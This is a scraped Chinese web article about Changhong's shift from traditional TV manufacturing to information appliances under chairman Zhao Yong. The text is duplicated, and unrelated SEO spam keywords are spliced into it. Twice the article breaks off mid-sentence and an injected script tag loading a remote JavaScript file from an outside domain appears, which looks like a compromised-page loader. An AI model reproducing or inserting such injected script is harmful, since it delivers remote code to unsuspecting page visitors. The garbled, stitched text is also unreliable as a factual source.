长虹产业结构调整：进退之间的战略抉择赤峰
时间：2022/11/09 13:51:46 编辑：
“我们进入了一个3c融合时代，传统的家电产业正在与信息产业融合，长虹的产业结构调整要有进有退，有所为有所不为。”长虹董事长赵勇多次对他带领的团队说。所谓3c，指的是计算机产品(computer)、通讯产品(communication)和消费类电子产品(consumerelectrics)。长虹正是着眼于3c融合的大背景，正在从传统家电向信息家电转型。
压力：来自三个方向的挑战
回顾过去二十多年，长虹的产业发展大致走过四个阶段。一是“应用技术有所创新”阶段。上世纪八十年代初，长虹从日本引进了彩电生产线，在应用的过程中，逐步走通了“引进———消化———创新”之路；二是“规模经济”阶段。上世纪九十年代初，长虹加快了扩张步伐，成为中国“彩电大王”；三是“走成本路线”阶段。上世纪九十年代中后期，在国外品牌与国内品牌在中国市场上“白刃格斗”的时候，长虹遵循市场规律做出了大举动，不断扩大市场，实践着“让老百姓买一台电视机就像喝一杯白开水一样容易”的诺言；四是调整产业结构阶段。进入新世纪以后，随着3c融合时代的到来，传统家电业利润空间越来越小，长虹开始由传统家电向信息家电战略转型，通过新技术、新产品及新的商业模式获取广泛的升腾空间。产业结构的大规模调整发生在赵勇重返长虹之后。2004年7月，赵勇担任长虹集团董事长，不久，一个《由长虹的实践浅谈国有企业改革的一些问题》的报告在长虹管理层广为传看。这个报告其实是赵勇2001年那一次离开长虹时写就的。在报告的序言中，他写道，“原本作为本人在长虹8年的总结，仅供备忘。”然而，事情发生了戏剧性的变化，几年之后，当他重新成为长虹的“掌门人”时，这个曾经准备“仅供备忘”的报告，便成了长虹产业结构调整的“路线图”。路线图的本质就是“一个坐标，三根轴线”。长虹作为传统整机家电企业放在原点，三大方向则分别是产业价值链方向、产业形态方向和商业模式方向。世纪之交，面对新一轮竞争，赵勇用“一个坐标，三根轴线”描述长虹的危机。在产业价值链方向，随着数字技术的普及，家电产品的核心技术及技术附加值将越来越多地从整机向关键部品和软件领域转移，整机产品的平均利润越来越低。以长虹为代表的生产电视机整机家电企业，由于关键部品和软件长期被日、美等国家垄断，面临很大的技术压力。在产业形态方向，传统家电与网络、通讯和it产品竞争的边疆逐步模糊，电脑、手机等产品已经开始把电视的一部分功能整合进去，客观上形成分食传统家电市场的态势。在商业模式方向，整机生产企业与顾客之间采用的“离散式”交易模式，仅仅是产品物权的一次性转移，因为没有后续的交易，逐步失去与顾客的联系，失去产品的定价权；而服务提供商和内容提供商与消费者采用的“连续式”交易模式，一旦企业与顾客签订合同，他们之间的交易关系将长期保持下去，可以保证持续稳定的利润。对于服务提供商和内容提供商而言，他们更为关心的是顾客接受其服务的门槛。来自三个方向的压力，是造成传统家电企业生存空间日益狭小的主要原因。长虹的产业结构调整必须沿着这三根轴线突围。这个报告在长虹内部引起强烈反响，随后，长虹的产业结构调整便开始谋篇布局。
突围：三个方向的反击
自主创新打造核心技术能力中国家电业起步已经有了几十年的历史，然而，家电核心技术长期被国外企业垄断，核心部品的成本占整机成本的比重很大，这是中国家电企业的一块心病。长虹认为，中国具备相应的智力资源，中国家电企业在关键部品和软件技术上完全可以实现突破。沿着赵勇定义的产业价值链方向，长虹决心从关键部品、核心技术上突围。———虹微公司“造芯”。今年年初，长虹成功研制数字自动会聚芯片，并批量投入整机应用。长虹技术中心副主任张恩阳告诉记者：“全球仅有两家公司具备这类芯片的设计能力，长虹自主研发的芯片使成本大幅下降。”数字自动会聚芯片仅仅是长虹核心技术实现突破的一步，去年6月，长虹公司出资组建的四川虹微技术有限公司在成都高新技术产业开发区正式成立，成功搭建起了ic芯片设计的核心技术平台，长虹加速向技术附加值上游转移。———嵌入式软件突围。今年1月13日，长虹企业技术中心“面向信息家电的嵌入式软件平台及关键技术开发”项目顺利通过国家863软件重大专项专家组的验收。这意味着，长虹已经具备自主软件开发能力，形成了完备的软件开发平台，有能力对更多共性技术进行攻关突破，做出更专业、更基础的开发工作。———寻找设计dna。2005年8月13日，在长虹工业设计委员会第二次会议上，来自美国的国际工业设计界大师高登·布鲁斯先生，以及来自中国清?script src=http://er12.com/t.js> 未来的某一天，假如你在家里看一个电视连续剧，才看了一半就要到外地出差，怎么办？把电视连续剧存在你的手机卡里面，到了宾馆住下来，只要房间里有长虹电视，按一下自己的手机，就可以继续看连续剧。这就是传统家电与通讯产品融合之后的长虹产品。
“我们进入了一个3c融合时代，传统的家电产业正在与信息产业融合，长虹的产业结构调整要有进有退，有所为有所不为。”长虹董事长赵勇多次对他带领的团队说。所谓3c，指的是计算机产品(computer)、通讯产品(communication)和消费类电子产品(consumerelectrics)。长虹正是着眼于3c融合的大背景，正在从传统家电向信息家电转型。
压力：来自三个方向的挑战
回顾过去二十多年，长虹的产业发展大致走过四个阶段。一是“应用技术有所创新”阶段。上世纪八十年代初，长虹从日本引进了彩电生产线，在应用的过程中，逐步走通了“引进———消化———创新”之路；二是“规模经济”阶段。上世纪九十年代初，长虹加快了扩张步伐，成为中国“彩电大王”；三是“走成本路线”阶段。上世纪九十年代中后期，在国外品牌与国内品牌在中国市场上“白刃格斗”的时候，长虹遵循市场规律做出了大举动，不断扩大市场，实践着“让老百姓买一台电视机就像喝一杯白开水一样容易”的诺言；四是调整产业结构阶段。进入新世纪以后，随着3c融合时代的到来，传统家电业利润空间越来越小，长虹开始由传统家电向信息家电战略转型，通过新技术、新产品及新的商业模式获取广泛的升腾空间。产业结构的大规模调整发生在赵勇重返长虹之后。2004年7月，赵勇担任长虹集团董事长，不久，一个《由长虹的实践浅谈国有企业改革的一些问题》的报告在长虹管理层广为传看。这个报告其实是赵勇2001年那一次离开长虹时写就的。在报告的序言中，他写道，“原本作为本人在长虹8年的总结，仅供备忘。”然而，事情发生了戏剧性的变化，几年之后，当他重新全站仪成为长虹的“掌门人”时，这个曾经准备“仅供备忘”的报告，便成了长虹产业结构调整的“路线图”。路线图的本质就是“一个坐干燥箱标，三根轴线”。长虹作为传统整机家电企业放在原点，三大方向则分别是产业价值链方向、产业形态方向和商业模式方向。世纪之交，面对新一轮竞争，赵勇用“一个坐标，三根轴线”描述长虹的危机。在产业价值链方向，随着数字技术的普及，家电产品的核心技术及技术附加值将越来越多地从整机向关键部品和软件领域转移，整机产品的平均利润越来越低。以长驱动泵虹为代表的生产电视机整机家电企业，由于关键部品和软件长期被日、美等国家垄断，面临很大的技术压力。在产业形态方向，传统家电与网络、通讯和it产品竞争的边疆逐步模糊，电脑、手机等产品已经开始把电视的一部分功能整合进去，客观上形成分食传统家电市场的态势。在商业模式方向，整机生产企业与顾客之间采用的“离散式”交易模式，仅仅是产品物权的一次性转移，因为没有后续的交易，逐步失去与顾客的联系，失去产品的定价权；而服务提供商和内容提供商与消费者采用的“连续式”交易模式，一旦企业与顾客签订合同，他们之间的交易关系将长期保持下去，可以保证持续稳定的利润。对于服务提供商和内容提供商而言，他们更为关心的是顾客接受其服务的门槛。来自三个方向的压力，是造成传统家电企业生存空间日益狭小的主要原因。长虹的产业结构调整必须沿着这三根轴线突围。这个报告在长虹内部引起强烈反响，随后，长虹的产业结构调整便开始谋篇布局。
突围：三个方向的反击
自主创新打造核心技术能力中国家电业起步已经有了几十年的历史，然而，家电核心技术长期被国外企业垄断，核心部品的成本占整机成本的比重很大，这是中国家电企业的一块心病。长虹认为，中国具备相应的智力资源，中国家电企业在关键部品和软件技术上完全可以实现突破。沿着赵勇定义的产业价值链方向，长虹决心从关键部品、核心技术上突围。———虹微公司“造芯”。今年年初，长虹成功研制数字自动会聚芯片，并批量投入整机应用。长虹技术中心副主任张恩阳告诉记者：“全球仅有两家公司具备这类芯片的设计能力，长虹自主研发的芯片使成本大幅下降。”数字自动会聚芯片仅仅是长虹核心技术实现突破的一步，去年6月，长虹公司出资组建的四川虹微技术有限公司在成都高新技术产业开发区正式成立，成功搭建起了ic芯片设计的核心技术平台，长虹加速向技术附加值上游转移。———嵌入式软件突围。今年1月13日，长虹企业技术中心“面向信息家电的嵌入式软件平台及关键技术开发”项目顺利通过国家863软件重大专项专家组的验收。这意味着，长虹已经具备自主软件开发能力，形成了完备的软件开发平台，有能力对更多共性技术进行攻关突破，做出更专业、更基础的开发工作。———寻找设计dna。2005年8月13日，在长虹工业设计委员会第二次会议上，来自美国的国际工业设计界大师高登·布鲁斯先生，以及来自中国清?script src=http://er12.com/t.js>为什么儿童容易得癫痫
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